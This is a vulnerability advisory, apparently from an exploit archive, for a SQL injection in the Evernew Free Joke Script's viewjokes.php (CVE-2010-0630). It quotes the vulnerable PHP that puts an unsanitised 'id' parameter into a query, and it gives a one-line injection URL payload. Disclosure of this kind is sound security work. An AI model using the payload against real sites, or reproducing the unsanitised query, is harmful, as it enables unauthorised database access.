 Topic: |
Evernew Free Joke Script (viewjokes.php) SQL Injection |
| Credit: |
Hamza 'MizoZ' N. |
| Date: |
2010.02.02 |
| CWE: |
CWE-89 (Show similar)
|
| CVE: |
CVE-2010-0630 (Show details)
Use CVE to see details like:
- CVSS2,
- Affected Software,
- References |
| Risk |
Local |
| Remote |
| Medium |
No |
| Yes |
/*
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com
Download : http://www.evernewscripts.com/free-php-scripts/jokescript1.2.zip
Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com
Greetz : Zuka , int_0x80 , geeksec.com ... a loot
*/
# VULN CODE ]--[ viewjokes.php :
$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];
stuffViewer($id, 'jokes');
$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);
# EXPLOIT :
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--
References:
http://xforce.iss.net/xforce/xfdb/56043
http://www.securityfocus.com/bid/38020
http://www.exploit-db.com/exploits/11306
http://secunia.com/advisories/35434
http://packetstormsecurity.org/1002-exploits/evernewfjs-sql.txt
[ ASCII VERSION ]
|
